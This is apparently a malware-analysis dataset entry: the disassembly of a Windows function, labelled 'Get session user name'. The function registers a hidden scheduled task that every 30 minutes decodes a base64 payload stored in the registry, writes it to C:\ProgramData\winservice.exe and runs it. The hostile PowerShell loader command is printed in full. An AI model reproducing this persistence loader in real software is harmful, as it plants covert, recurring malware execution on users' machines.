Function at 0x140002f10
Capabilities:
Get session user name

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
push r14
push r15
lea rbp, [rax - 0x428]
sub rsp, 0x510
movaps xmmword [rax - 0x28], xmm6
movaps xmmword [rax - 0x38], xmm7
movaps xmmword [rax - 0x48], xmm8
movaps xmmword [rax - 0x58], xmm9
movaps xmmword [rax - 0x68], xmm10
movaps xmmword [rax - 0x78], xmm11
mov rax, qword [0x140066080]
xor rax, rsp
mov qword [rbp + 0x3a0], rax
xor r15d, r15d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.ole32.dll_CoInitializeEx]
test eax, eax
jns 0x140002fda
lea rdx, str.Failed_to_initialize_COM_library
lea rcx, [0x1400675f0]
call fcn.140008fb0
mov rcx, rax
call fcn.140009260
mov eax, 1
mov rcx, qword [rbp + 0x3a0]
xor rcx, rsp
call fcn.14000dea0
lea r11, [rsp + 0x510]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
movaps xmm8, xmmword [r11 - 0x30]
movaps xmm9, xmmword [r11 - 0x40]
movaps xmm10, xmmword [r11 - 0x50]
movaps xmm11, xmmword [r11 - 0x60]
mov rsp, r11
pop r15
pop r14
pop rbp
ret
lea rdx, str.MyMinuteTask
lea rcx, [rbp + 0x100]
call fcn.1400064e0
nop
lea rdx, str.start__b__min__c_powershell__WindowStyle_Hidden__Command__pC:ProgramDatawinservice.exe__if___not__Test_Path__p_____b_gi_HKCU:Softwarewie_.GetValue_Text____System.IO.File_::WriteAllBytes__p___System.Convert_::FromBase64String__b____saps__p_
lea rcx, [rbp + 0xe0]
call fcn.1400064e0
nop
mov qword [rbp + 0x28], r15
lea rax, [rbp + 0x28]
mov qword [rsp + 0x20], rax
lea r9, [0x140037c20]
mov esi, 1
mov r8d, esi
xor edx, edx
lea rcx, [0x140037c40]
call qword [sym.imp.ole32.dll_CoCreateInstance]
test eax, eax
jns 0x140003057
lea rdx, str.Failed_to_create_task_service_instance
lea rcx, [0x1400675f0]
call fcn.140008fb0
mov rcx, rax
call fcn.140009260
call qword [sym.imp.ole32.dll_CoUninitialize]
jmp 0x140003e90
lea rcx, [rbp - 0x80]
call qword [sym.imp.OLEAUT32.dll_VariantClear]
nop
movups xmm11, xmmword [rbp - 0x80]
movsd xmm10, qword [rbp - 0x70]
lea rcx, [rbp - 0x20]
call qword [sym.imp.OLEAUT32.dll_VariantClear]
nop
movups xmm9, xmmword [rbp - 0x20]
movsd xmm8, qword [rbp - 0x10]
lea rcx, [rsp + 0x50]
call qword [sym.imp.OLEAUT32.dll_VariantClear]
nop
movups xmm7, xmmword [rsp + 0x50]
movsd xmm6, qword [rsp + 0x60]
lea rcx, [rsp + 0x68]
call qword [sym.imp.OLEAUT32.dll_VariantClear]
nop
movaps xmmword [rbp], xmm11
movsd qword [rbp + 0x10], xmm10
movaps xmmword [rbp - 0x60], xmm9
movsd qword [rbp - 0x50], xmm8
movaps xmmword [rbp - 0x40], xmm7
movsd qword [rbp - 0x30], xmm6
movups xmm0, xmmword [rsp + 0x68]
movaps xmmword [rbp + 0x90], xmm0
movsd xmm1, qword [rsp + 0x78]
movsd qword [rbp + 0xa0], xmm1
mov rcx, qword [rbp + 0x28]
mov rax, qword [rcx]
lea rdx, [rbp]
mov qword [rsp + 0x20], rdx
lea r9, [rbp - 0x60]
lea r8, [rbp - 0x40]
lea rdx, [rbp + 0x90]
call qword [rax + 0x50]
mov ebx, eax
lea rcx, [rsp + 0x68]
call qword [sym.imp.OLEAUT32.dll_VariantCopy]
nop
lea rcx, [rsp + 0x50]
call qword [sym.imp.OLEAUT32.dll_VariantCopy]
nop
lea rcx, [rbp - 0x20]
call qword [sym.imp.OLEAUT32.dll_VariantCopy]
nop
lea rcx, [rbp - 0x80]
call qword [sym.imp.OLEAUT32.dll_VariantCopy]
test ebx, ebx
jns 0x140003164
lea rdx, str.Failed_to_connect_to_task_service
lea rcx, [0x1400675f0]
call fcn.140008fb0
mov rcx, rax
call fcn.140009260
mov rcx, qword [rbp + 0x28]
mov rax, qword [rcx]
call qword [rax + 0x10]
call qword [sym.imp.ole32.dll_CoUninitialize]
jmp 0x140003e90
mov qword [rbp + 0x30], r15
mov ecx, 0x18
call fcn.14000dec8
mov rbx, rax
mov qword [rbp + 0x88], rax
test rax, rax
je 0x1400031af
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbx], xmm0
mov qword [rbx + 0x10], rax
mov qword [rbx + 8], r15
mov dword [rbx + 0x10], esi
lea rcx, [0x140041a7c]
call qword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov qword [rbx], rax
test rax, rax
je 0x140003f3d
jmp 0x1400031b2
mov rbx, r15
mov qword [rbp + 0x88], rbx
test rbx, rbx
je 0x140003fa0
mov rcx, qword [rbp + 0x28]
mov rax, qword [rcx]
lea r8, [rbp + 0x30]
mov rdx, qword [rbx]
call qword [rax + 0x38]
mov r14d, eax
mov rdi, 0xffffffffffffffff
mov ecx, edi
lock xadd dword [rbx + 0x10], ecx
cmp ecx, 1
jne 0x140003219
mov rcx, qword [rbx]
test rcx, rcx
je 0x1400031fa
call qword [sym.imp.OLEAUT32.dll_SysStringLen]
mov qword [rbx], r15
mov rcx, qword [rbx + 8]
test rcx, rcx
je 0x14000320c
call fcn.14000dec0
mov qword [rbx + 8], r15
mov edx, 0x18
mov rcx, rbx
call fcn.14000dec0
test r14d, r14d
jns 0x14000324e
lea rdx, str.Failed_to_get_root_task_folder
lea rcx, [0x1400675f0]
call fcn.140008fb0
mov rcx, rax
call fcn.140009260
mov rcx, qword [rbp + 0x28]
mov rax, qword [rcx]
call qword [rax + 0x10]
call qword [sym.imp.ole32.dll_CoUninitialize]
jmp 0x140003e90
mov qword [rbp + 0x20], r15
mov rcx, qword [rbp + 0x28]
mov rax, qword [rcx]
lea r8, [rbp + 0x20]
xor edx, edx
call qword [rax + 0x48]
mov ebx, eax
mov rcx, qword [rbp + 0x28]
mov rdx, qword [rcx]
call qword [rdx + 0x10]
test ebx, ebx
jns 0x140003292
lea rdx, str.Failed_to_create_task_definition
lea rcx, [0x1400675f0]
call fcn.140008fb0
mov rcx, rax
call fcn.140009260
jmp 0x140003333
mov qword [rbp + 0x40], r15
mov rcx, qword [rbp + 0x20]
mov rax, qword [rcx]
lea rdx, [rbp + 0x40]
call qword [rax + 0x58]
test eax, eax
jns 0x1400032e2
lea rdx, str.Failed_to_get_task_settings
lea rcx, [0x1400675f0]
call fcn.140008fb0
mov rcx, rax
call fcn.140009260
mov rcx, qword [rbp + 0x20]
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rcx, qword [rbp + 0x30]
mov rax, qword [rcx]
call qword [rax + 0x10]
call qword [sym.imp.ole32.dll_CoUninitialize]
jmp 0x140003e90
mov rcx, qword [rbp + 0x40]
mov rax, qword [rcx]
mov edx, edi
call qword [rax + 0x40]
mov qword [rbp + 0x38], r15
mov rcx, qword [rbp + 0x20]
mov rax, qword [rcx]
lea rdx, [rbp + 0x38]
call qword [rax + 0x78]
test eax, eax
jns 0x140003348
lea rdx, str.Failed_to_get_task_principal
lea rcx, [0x1400675f0]
call fcn.140008fb0
mov rcx, rax
call fcn.140009260
mov rcx, qword [rbp + 0x40]
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rcx, qword [rbp + 0x20]
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rcx, qword [rbp + 0x30]
mov rax, qword [rcx]
call qword [rax + 0x10]
call qword [sym.imp.ole32.dll_CoUninitialize]
jmp 0x140003e90
mov dword [rbp + 0x88], 0x100
lea rdx, [rbp + 0x88]
lea rcx, [rbp + 0x1a0]
call qword [sym.imp.ADVAPI32.dll_GetUserNameW]
lea rcx, [rbp + 0xc0]
test eax, eax
lea rdx, [rbp + 0x1a0]
jne 0x14000337f
lea rdx, str.Public
call fcn.1400064e0
nop
cmp qword [rbp + 0xd0], 0
jne 0x1400033dd
lea rdx, str.Failed_to_retrieve_the_current_username
lea rcx, [0x1400675f0]
call fcn.140008fb0
mov rcx, rax
call fcn.140009260
mov rcx, qword [rbp + 0x38]
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rcx, qword [rbp + 0x40]
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rcx, qword [rbp + 0x20]
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rcx, qword [rbp + 0x30]
mov rax, qword [rcx]
call qword [rax + 0x10]
call qword [sym.imp.ole32.dll_CoUninitialize]
jmp 0x140003e30
lea r14, [rbp + 0xc0]
cmp qword [rbp + 0xd8], 7
cmova r14, qword [rbp + 0xc0]
mov ecx, 0x18
call fcn.14000dec8
mov rbx, rax
mov qword [rbp + 0x88], rax
test rax, rax
je 0x14000343c
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbx], xmm0
mov qword [rbx + 0x10], rax
mov qword [rbx + 8], r15
mov dword [rbx + 0x10], esi
mov rcx, r14
call qword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov qword [rbx], rax
test rax, rax
jne 0x14000343f
test r14, r14
jne 0x140003f48
jmp 0x14000343f
mov rbx, r15
mov qword [rbp + 0x88], rbx
test rbx, rbx
je 0x140003f95
mov rcx, qword [rbp + 0x38]
mov rax, qword [rcx]
mov rdx, qword [rbx]
call qword [rax + 0x60]
mov r14d, eax
mov ecx, edi
lock xadd dword [rbx + 0x10], ecx
cmp ecx, 1
jne 0x14000349b
mov rcx, qword [rbx]
test rcx, rcx
je 0x14000347c
call qword [sym.imp.OLEAUT32.dll_SysStringLen]
mov qword [rbx], r15
mov rcx, qword [rbx + 8]
test rcx, rcx
je 0x14000348e
call fcn.14000dec0
mov qword [rbx + 8], r15
mov edx, 0x18
mov rcx, rbx
call fcn.14000dec0
test r14d, r14d
jns 0x1400034bb
lea rdx, str.Failed_to_set_task_principal_user_ID
lea rcx, [0x1400675f0]
call fcn.140008fb0
mov rcx, rax
call fcn.140009260
mov rcx, qword [rbp + 0x38]
mov rax, qword [rcx]
mov edx, 3
call qword [rax + 0x70]
test eax, eax
jns 0x1400034e9
lea rdx, str.Failed_to_set_logon_type
lea rcx, [0x1400675f0]
call fcn.140008fb0
mov rcx, rax
call fcn.140009260
mov qword [rbp + 0x60], r15
mov rcx, qword [rbp + 0x20]
mov rax, qword [rcx]
lea rdx, [rbp + 0x60]
call qword [rax + 0x88]
test eax, eax
jns 0x14000351d
lea rdx, str.Failed_to_get_task_action_collection
lea rcx, [0x1400675f0]
call fcn.140008fb0
mov rcx, rax
call fcn.140009260
mov qword [rbp + 0x78], r15
mov rcx, qword [rbp + 0x60]
mov rax, qword [rcx]
lea r8, [rbp + 0x78]
xor edx, edx
call qword [rax + 0x60]
test eax, eax
jns 0x140003550
lea rdx, str.Failed_to_create_task_action
lea rcx, [0x1400675f0]
call fcn.140008fb0
mov rcx, rax
call fcn.140009260
mov qword [rbp + 0x48], r15
mov rcx, qword [rbp + 0x78]
mov rax, qword [rcx]
lea r8, [rbp + 0x48]
lea rdx, str.MbLk
call qword [rax]
test eax, eax
jns 0x140003587
lea rdx, str.Failed_to_get_executable_action_interface
lea rcx, [0x1400675f0]
call fcn.140008fb0
mov rcx, rax
call fcn.140009260
mov ecx, 0x18
call fcn.14000dec8
mov rbx, rax
mov qword [rbp + 0x88], rax
test rax, rax
je 0x1400035ce
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbx], xmm0
mov qword [rbx + 0x10], rax
mov qword [rbx + 8], r15
mov dword [rbx + 0x10], esi
lea rcx, str.cmd.exe
call qword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov qword [rbx], rax
test rax, rax
je 0x140003f53
jmp 0x1400035d1
mov rbx, r15
mov qword [rbp + 0x88], rbx
test rbx, rbx
je 0x140003f95
mov rcx, qword [rbp + 0x48]
mov rax, qword [rcx]
mov rdx, qword [rbx]
call qword [rax + 0x58]
mov r14d, eax
mov ecx, edi
lock xadd dword [rbx + 0x10], ecx
cmp ecx, 1
jne 0x14000362d
mov rcx, qword [rbx]
test rcx, rcx
je 0x14000360e
call qword [sym.imp.OLEAUT32.dll_SysStringLen]
mov qword [rbx], r15
mov rcx, qword [rbx + 8]
test rcx, rcx
je 0x140003620
call fcn.14000dec0
mov qword [rbx + 8], r15
mov edx, 0x18
mov rcx, rbx
call fcn.14000dec0
test r14d, r14d
jns 0x14000364d
lea rdx, str.Failed_to_set_executable_path
lea rcx, [0x1400675f0]
call fcn.140008fb0
mov rcx, rax
call fcn.140009260
lea r14, [rbp + 0xe0]
cmp qword [rbp + 0xf8], 7
cmova r14, qword [rbp + 0xe0]
mov ecx, 0x18
call fcn.14000dec8
mov rbx, rax
mov qword [rbp + 0x88], rax
test rax, rax
je 0x1400036ac
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbx], xmm0
mov qword [rbx + 0x10], rax
mov qword [rbx + 8], r15
mov dword [rbx + 0x10], esi
mov rcx, r14
call qword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov qword [rbx], rax
test rax, rax
jne 0x1400036af
test r14, r14
jne 0x140003f5e
jmp 0x1400036af
mov rbx, r15
mov qword [rbp + 0x88], rbx
test rbx, rbx
je 0x140003f95
mov rcx, qword [rbp + 0x48]
mov rax, qword [rcx]
mov rdx, qword [rbx]
call qword [rax + 0x68]
mov r14d, eax
mov ecx, edi
lock xadd dword [rbx + 0x10], ecx
cmp ecx, 1
jne 0x14000370b
mov rcx, qword [rbx]
test rcx, rcx
je 0x1400036ec
call qword [sym.imp.OLEAUT32.dll_SysStringLen]
mov qword [rbx], r15
mov rcx, qword [rbx + 8]
test rcx, rcx
je 0x1400036fe
call fcn.14000dec0
mov qword [rbx + 8], r15
mov edx, 0x18
mov rcx, rbx
call fcn.14000dec0
test r14d, r14d
jns 0x14000372b
lea rdx, str.Failed_to_set_arguments
lea rcx, [0x1400675f0]
call fcn.140008fb0
mov rcx, rax
call fcn.140009260
mov qword [rbp + 0x68], r15
mov rcx, qword [rbp + 0x20]
mov rax, qword [rcx]
lea rdx, [rbp + 0x68]
call qword [rax + 0x48]
test eax, eax
jns 0x14000375c
lea rdx, str.Failed_to_get_trigger_collection
lea rcx, [0x1400675f0]
call fcn.140008fb0
mov rcx, rax
call fcn.140009260
mov qword [rbp + 0x70], r15
mov rcx, qword [rbp + 0x68]
mov rax, qword [rcx]
lea r8, [rbp + 0x70]
mov edx, esi
call qword [rax + 0x50]
test eax, eax
jns 0x14000378f
lea rdx, str.Failed_to_create_trigger
lea rcx, [0x1400675f0]
call fcn.140008fb0
mov rcx, rax
call fcn.140009260
mov qword [rbp + 0x58], r15
mov rcx, qword [rbp + 0x70]
mov rax, qword [rcx]
lea r8, [rbp + 0x58]
lea rdx, [0x140037c30]
call qword [rax]
test eax, eax
jns 0x1400037c6
lea rdx, str.Failed_to_get_time_trigger_interface
lea rcx, [0x1400675f0]
call fcn.140008fb0
mov rcx, rax
call fcn.140009260
lea rcx, [rbp + 0xb0]
call qword [sym.imp.KERNEL32.dll_GetSystemTime]
movzx eax, word [rbp + 0xbc]
movzx ecx, word [rbp + 0xba]
movzx edx, word [rbp + 0xb8]
movzx r8d, word [rbp + 0xb6]
movzx r10d, word [rbp + 0xb2]
movzx r9d, word [rbp + 0xb0]
mov dword [rsp + 0x40], eax
mov dword [rsp + 0x38], ecx
mov dword [rsp + 0x30], edx
mov dword [rsp + 0x28], r8d
mov dword [rsp + 0x20], r10d
lea r8, str._04d__02d__02dT_02d:_02d:_02d
mov edx, 0x40
lea rcx, [rbp + 0x120]
call fcn.140001300
mov ecx, 0x18
call fcn.14000dec8
mov rbx, rax
mov qword [rbp + 0x88], rax
test rax, rax
je 0x140003875
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbx], xmm0
mov qword [rbx + 0x10], rax
mov qword [rbx + 8], r15
mov dword [rbx + 0x10], esi
lea rcx, [rbp + 0x120]
call qword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov qword [rbx], rax
test rax, rax
je 0x140003f69
jmp 0x140003878
mov rbx, r15
mov qword [rbp + 0x88], rbx
test rbx, rbx
je 0x140003f95
mov rcx, qword [rbp + 0x58]
mov rax, qword [rcx]
mov rdx, qword [rbx]
call qword [rax + 0x78]
nop
mov eax, edi
lock xadd dword [rbx + 0x10], eax
cmp eax, 1
jne 0x1400038d2
mov rcx, qword [rbx]
test rcx, rcx
je 0x1400038b3
call qword [sym.imp.OLEAUT32.dll_SysStringLen]
mov qword [rbx], r15
mov rcx, qword [rbx + 8]
test rcx, rcx
je 0x1400038c5
call fcn.14000dec0
mov qword [rbx + 8], r15
mov edx, 0x18
mov rcx, rbx
call fcn.14000dec0
mov qword [rbp + 0x50], r15
mov rcx, qword [rbp + 0x58]
mov rax, qword [rcx]
lea rdx, [rbp + 0x50]
call qword [rax + 0x50]
test eax, eax
js 0x140003a34
mov ecx, 0x18
call fcn.14000dec8
mov rbx, rax
mov qword [rbp + 0x88], rax
test rax, rax
je 0x140003933
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbx], xmm0
mov qword [rbx + 0x10], rax
mov qword [rbx + 8], r15
mov dword [rbx + 0x10], esi
lea rcx, str.PT30M
call qword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov qword [rbx], rax
test rax, rax
je 0x140003f74
jmp 0x140003936
mov rbx, r15
mov qword [rbp + 0x88], rbx
test rbx, rbx
je 0x140003f95
mov rcx, qword [rbp + 0x50]
mov rax, qword [rcx]
mov rdx, qword [rbx]
call qword [rax + 0x40]
nop
mov eax, edi
lock xadd dword [rbx + 0x10], eax
cmp eax, 1
jne 0x140003990
mov rcx, qword [rbx]
test rcx, rcx
je 0x140003971
call qword [sym.imp.OLEAUT32.dll_SysStringLen]
mov qword [rbx], r15
mov rcx, qword [rbx + 8]
test rcx, rcx
je 0x140003983
call fcn.14000dec0
mov qword [rbx + 8], r15
mov edx, 0x18
mov rcx, rbx
call fcn.14000dec0
mov ecx, 0x18
call fcn.14000dec8
mov rbx, rax
mov qword [rbp + 0x88], rax
test rax, rax
je 0x1400039d7
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbx], xmm0
mov qword [rbx + 0x10], rax
mov qword [rbx + 8], r15
mov dword [rbx + 0x10], esi
lea rcx, str.P999D
call qword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov qword [rbx], rax
test rax, rax
je 0x140003f7f
jmp 0x1400039da
mov rbx, r15
mov qword [rbp + 0x88], rbx
test rbx, rbx
je 0x140003f95
mov rcx, qword [rbp + 0x50]
mov rax, qword [rcx]
mov rdx, qword [rbx]
call qword [rax + 0x50]
nop
mov eax, edi
lock xadd dword [rbx + 0x10], eax
cmp eax, 1
jne 0x140003a34
mov rcx, qword [rbx]
test rcx, rcx
je 0x140003a15
call qword [sym.imp.OLEAUT32.dll_SysStringLen]
mov qword [rbx], r15
mov rcx, qword [rbx + 8]
test rcx, rcx
je 0x140003a27
call fcn.14000dec0
mov qword [rbx + 8], r15
mov edx, 0x18
mov rcx, rbx
call fcn.14000dec0
mov qword [rbp + 0x80], r15
mov r14d, 8
mov word [rsp + 0x68], r14w
lea rcx, [0x140041d04]
call qword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov qword [rsp + 0x70], rax
test rax, rax
je 0x140003fab
movups xmm6, xmmword [rsp + 0x68]
movsd xmm7, qword [rsp + 0x78]
lea rcx, [rbp - 0x80]
call qword [sym.imp.OLEAUT32.dll_VariantClear]
nop
movups xmm8, xmmword [rbp - 0x80]
movsd xmm9, qword [rbp - 0x70]
lea rbx, [rbp + 0xc0]
cmp qword [rbp + 0xd8], 7
cmova rbx, qword [rbp + 0xc0]
mov word [rsp + 0x50], r14w
mov rcx, rbx
call qword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov qword [rsp + 0x58], rax
test rax, rax
jne 0x140003abc
test rbx, rbx
jne 0x140003fb6
movaps xmmword [rbp + 0x90], xmm6
movsd qword [rbp + 0xa0], xmm7
movaps xmmword [rbp - 0x40], xmm8
movsd qword [rbp - 0x30], xmm9
movups xmm0, xmmword [rsp + 0x50]
movaps xmmword [rbp - 0x60], xmm0
movsd xmm1, qword [rsp + 0x60]
movsd qword [rbp - 0x50], xmm1
lea r14, [rbp + 0x100]
cmp qword [rbp + 0x118], 7
cmova r14, qword [rbp + 0x100]
mov ecx, 0x18
call fcn.14000dec8
mov rbx, rax
mov qword [rbp + 0x88], rax
test rax, rax
je 0x140003b49
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbx], xmm0
mov qword [rbx + 0x10], rax
mov qword [rbx + 8], r15
mov dword [rbx + 0x10], esi
mov rcx, r14
call qword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov qword [rbx], rax
test rax, rax
jne 0x140003b4c
test r14, r14
jne 0x140003f8a
jmp 0x140003b4c
mov rbx, r15
mov qword [rbp + 0x88], rbx
test rbx, rbx
je 0x140003fc1
mov rcx, qword [rbp + 0x30]
mov rax, qword [rcx]
lea rdx, [rbp + 0x80]
mov qword [rsp + 0x40], rdx
lea rdx, [rbp + 0x90]
mov qword [rsp + 0x38], rdx
mov dword [rsp + 0x30], 3
lea rdx, [rbp - 0x40]
mov qword [rsp + 0x28], rdx
lea rdx, [rbp - 0x60]
mov qword [rsp + 0x20], rdx
mov r9d, 6
mov r8, qword [rbp + 0x20]
mov rdx, qword [rbx]
call qword [rax + 0x88]
mov esi, eax
mov ecx, edi
lock xadd dword [rbx + 0x10], ecx
cmp ecx, 1
jne 0x140003be7
mov rcx, qword [rbx]
test rcx, rcx
je 0x140003bc7
call qword [sym.imp.OLEAUT32.dll_SysStringLen]
mov qword [rbx], r15
mov rcx, qword [rbx + 8]
test rcx, rcx
je 0x140003bd9
call fcn.14000dec0
mov qword [rbx + 8], r15
mov edx, 0x18
mov rcx, rbx
call fcn.14000dec0
nop
lea rcx, [rsp + 0x50]
call qword [sym.imp.OLEAUT32.dll_VariantCopy]
nop
lea rcx, [rbp - 0x80]
call qword [sym.imp.OLEAUT32.dll_VariantCopy]
nop
lea rcx, [rsp + 0x68]
call qword [sym.imp.OLEAUT32.dll_VariantCopy]
lea rcx, [0x1400675f0]
test esi, esi
jns 0x140003dac
lea rdx, str.Failed_to_register_task
call fcn.140008fb0
mov rcx, rax
call fcn.140009260
xorps xmm0, xmm0
movups xmmword [rbp + 0x90], xmm0
lea r14, vtable._com_error.0
mov qword [rbp + 0x90], r14
mov dword [rbp + 0x98], esi
movdqu xmmword [rbp + 0xa0], xmm0
mov qword [rsp + 0x30], r15
mov dword [rsp + 0x28], r15d
lea rax, [rbp + 0xa8]
mov qword [rsp + 0x20], rax
mov r9d, 0x400
mov r8d, esi
xor edx, edx
mov ecx, 0x1300
call qword [sym.imp.KERNEL32.dll_FormatMessageW]
mov rbx, qword [rbp + 0xa8]
test rbx, rbx
je 0x140003cd1
nop word [rax + rax]
inc rdi
cmp word [rbx + rdi*2], 0
jne 0x140003c90
cmp rdi, 1
jbe 0x140003d38
lea rax, [rbx + rdi*2]
cmp word [rax - 2], 0xa
jne 0x140003d38
mov word [rax - 2], r15w
mov rbx, qword [rbp + 0xa8]
lea rax, [rbx + rdi*2]
cmp word [rax - 4], 0xd
jne 0x140003d38
mov word [rax - 4], r15w
jmp 0x140003d31
mov edx, 0x40
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LocalAlloc]
mov rbx, rax
mov qword [rbp + 0xa8], rax
test rax, rax
je 0x140003d38
mov r9d, dword [rbp + 0x98]
lea eax, [r9 + 0x7ffbfe00]
cmp eax, 0xfdff
ja 0x140003d1d
mov ecx, 0x200
movzx eax, r9w
sub ax, cx
je 0x140003d1d
movzx r9d, ax
lea r8, str.IDispatch_error__d
jmp 0x140003d24
lea r8, str.Unknown_error_0x_0lX
mov edx, 0x20
mov rcx, rbx
call fcn.140001360
mov rbx, qword [rbp + 0xa8]
lea rdx, str.Failed_to_register_task._Error:
lea rcx, [0x140067770]
call fcn.1400092f0
mov rcx, rax
mov rdx, rbx
call fcn.1400092f0
mov rbx, rax
mov rcx, qword [rax]
movsxd rcx, dword [rcx + 4]
add rcx, rax
mov dl, 0xa
call fcn.14000aeb0
movzx edx, ax
mov rcx, rbx
call fcn.14000ad00
mov rcx, rbx
call fcn.1400088c0
nop
mov qword [rbp + 0x90], r14
mov rcx, qword [rbp + 0xa0]
test rcx, rcx
je 0x140003d97
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rcx, qword [rbp + 0xa8]
test rcx, rcx
je 0x140003daa
call qword [sym.imp.KERNEL32.dll_LocalFree]
nop
jmp 0x140003dc0
lea rdx, str.Task_registered_successfully
call fcn.140008fb0
mov rcx, rax
call fcn.140009260
mov rcx, qword [rbp + 0x30]
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rcx, qword [rbp + 0x20]
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rcx, qword [rbp + 0x38]
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rcx, qword [rbp + 0x40]
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rcx, qword [rbp + 0x60]
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rcx, qword [rbp + 0x48]
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rcx, qword [rbp + 0x68]
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rcx, qword [rbp + 0x70]
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rcx, qword [rbp + 0x50]
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rcx, qword [rbp + 0x80]
mov rax, qword [rcx]
call qword [rax + 0x10]
call qword [sym.imp.ole32.dll_CoUninitialize]
mov esi, r15d
mov rdx, qword [rbp + 0xd8]
cmp rdx, 7
jbe 0x140003e76
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0xc0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003e71
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140003fcc
call fcn.14000dec0
mov qword [rbp + 0xd0], r15
mov qword [rbp + 0xd8], 7
mov word [rbp + 0xc0], r15w
mov rdx, qword [rbp + 0xf8]
cmp rdx, 7
jbe 0x140003ed6
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0xe0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003ed1
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140003fd2
call fcn.14000dec0
movdqa xmm0, xmmword [0x14005fce0]
movdqu xmmword [rbp + 0xf0], xmm0
mov word [rbp + 0xe0], r15w
mov rdx, qword [rbp + 0x118]
cmp rdx, 7
jbe 0x140003f30
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x100]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003f2b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140003f37
call fcn.14000dec0
mov eax, esi
jmp 0x140002f90
call fcn.14001a7e8
nop
mov ecx, 0x8007000e
call fcn.14000de00
nop
mov ecx, 0x8007000e
call fcn.14000de00
nop
mov ecx, 0x8007000e
call fcn.14000de00
nop
mov ecx, 0x8007000e
call fcn.14000de00
nop
mov ecx, 0x8007000e
call fcn.14000de00
nop
mov ecx, 0x8007000e
call fcn.14000de00
nop
mov ecx, 0x8007000e
call fcn.14000de00
nop
mov ecx, 0x8007000e
call fcn.14000de00
nop
mov ecx, 0x8007000e
call fcn.14000de00
nop
mov ecx, 0x8007000e
call fcn.14000de00
nop
mov ecx, 0x8007000e
call fcn.14000de00
nop
mov ecx, 0x8007000e
call fcn.14000de00
nop
mov ecx, 0x8007000e
call fcn.14000de00
nop
call fcn.14001a7e8
nop
call fcn.14001a7e8
int3